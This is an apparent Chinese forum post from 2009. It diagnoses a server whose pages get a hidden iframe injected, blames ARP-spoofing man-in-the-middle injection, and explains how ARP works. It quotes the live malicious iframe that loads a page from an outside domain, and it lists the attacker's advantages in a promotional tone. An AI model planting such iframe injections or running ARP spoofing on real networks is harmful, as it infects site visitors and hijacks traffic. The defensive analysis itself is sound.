|
|
不管是访问服务器上的任何网页，就连404的页面也会在<html>后加入：
<IFRAME SRC=http://cool.47555.com/k.htm width =1 height=1 frameborder=0></IFRAME>;,
挂马的位置在html标记左右,上面这段恶意代码，它会 每隔几秒加入代码，也就是说在输出具体的东西之前就被挂了，有时有有时又没有，不是网页源代码问题，也没有在网页源代码中加入恶意代码，即使重装服务器，会再出现这种情况.
首先就排除了网站被入侵的可能,因为首页能加在那个位置只能是 title的地方,用js控制也不大可能.然后去看了php.ini的设置也没有任何的异常,而且这个插入的代码有的时候出现有的时候不出现,说明不是网 站的问题了.要么是IIS出了问题,要么是网络问题,经过一一排查,基本可以确定就是arp欺骗数据报走向,然后中间人修改一些定义的关键字.所以重做系统是没有用的).
目的：通过arp欺骗来直接挂马
优点:可以直接通过arp欺骗来挂马.
通常的arp攻击方式是在同一vlan下,控制一台主机来监听密码,或者结合ssh中间人攻击来监听ssh1的密码
但这样存在局限性:1.管理员经常不登陆,那么要很久才能监听到密码
2.目标主机只开放了80端口,和一个管理端口,且80上只有静态页面,那么很难利用.而管理端口,如果是3389终端,或者是ssh2,那么非常难监听到密码.
优点:1.可以不用获得目标主机的权限就可以直接在上面挂马
2.非常隐蔽,不改动任何目标主机的页面或者是配置,在网络传输过程中间直接插入挂马的语句.
3.最大化利用arp欺骗,从而只获取一台同vlan下主机的控制权,就可以最大化战果.
原理：arp中间人攻击，正常时候: A-->B ,arp中间人攻击时候: A-->C-->B ，B-->C-->A ，实际C做了代理
Anti ARP Sniffer V3.6是一款免费的个人软件，请使用彩影网盾保护整个网络。
ARP即Address Resolution Protocol ，RFC-826地址解析协议
网络中实际传输的是“帧”，帧里有目标主机的MAC地址。“地址解析”就是主机在发送帧前将目标IP转换成目标MAC地址的过程。ARP协议的基本功能是通过目标设备的IP地址，查询目标设备的MAC地址以保证通信的顺利进行。
ARP协议负责将局域网中32位IP地址转换为对应的48位物理地址，即网卡的MAC地址，整个转换过程是一台主机先向目标主机发送包含IP地址信息的广播数据包，即ARP请求，然后目标主机向该主机发送一个含有IP地址和MAC地址数据包，通过MAC地址两个主机就可以实现数据传输了。 |
|
发表于 2009-12-8 11:50:57
发表于 2009-12-9 10:01:37